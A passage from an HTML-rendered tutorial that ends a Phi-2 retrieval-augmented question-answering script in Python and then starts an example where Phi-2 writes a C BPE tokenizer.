&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Concatenate the similar contexts into a single string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(similar_contexts)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Pass the concatenated context and query to the Phi-2 model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    answer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; handle_prompt(input_query, context)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Answer:&amp;#34;&lt;/span&gt;, answer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;__name__&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model, tokenizer, device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; load_model(MODEL_PATH, MODEL_NAME, DEBUG)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create embeddings and add to index before entering the loop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    query_embedding, context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; create_embeddings(DATA_FILE, tokenizer, model, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    query_embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;array(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; create_index(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    exit_commands &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;exit&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;quit&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;q&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;e&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        query &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Enter your query or &amp;#39;exit&amp;#39; to quit: &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; query &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; exit_commands:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        search_query(query, tokenizer, model, device, index, context_passages)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now let us switch gears and try something that pushes the ability of Phi-2.&lt;/p&gt;
&lt;h2 id=&#34;6-code-generation-example-using-phi-2&#34;&gt;6. Code generation example using Phi-2&lt;/h2&gt;
&lt;p&gt;If we want to push the boundaries of what Phi-2 can do, we can use it to generate code. Below is an example of using Phi-2 to generate code for a simple C function. 🤓&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Write a program in C that implements a BPE-based tokenizer; it should implement both encoding and decoding functions. Think through this step by step.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The code we see below is what was generated. At face value, it looks like a good start but is incomplete. It is a good starting point for a developer to continue from and shows the power of SLMs like Phi-2.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt;57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt;58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt;59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt;60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt;61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt;62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt;63&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;stdio.h&amp;gt; &lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#define MAX_LEN 100
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Encodes the input text into an array of integers
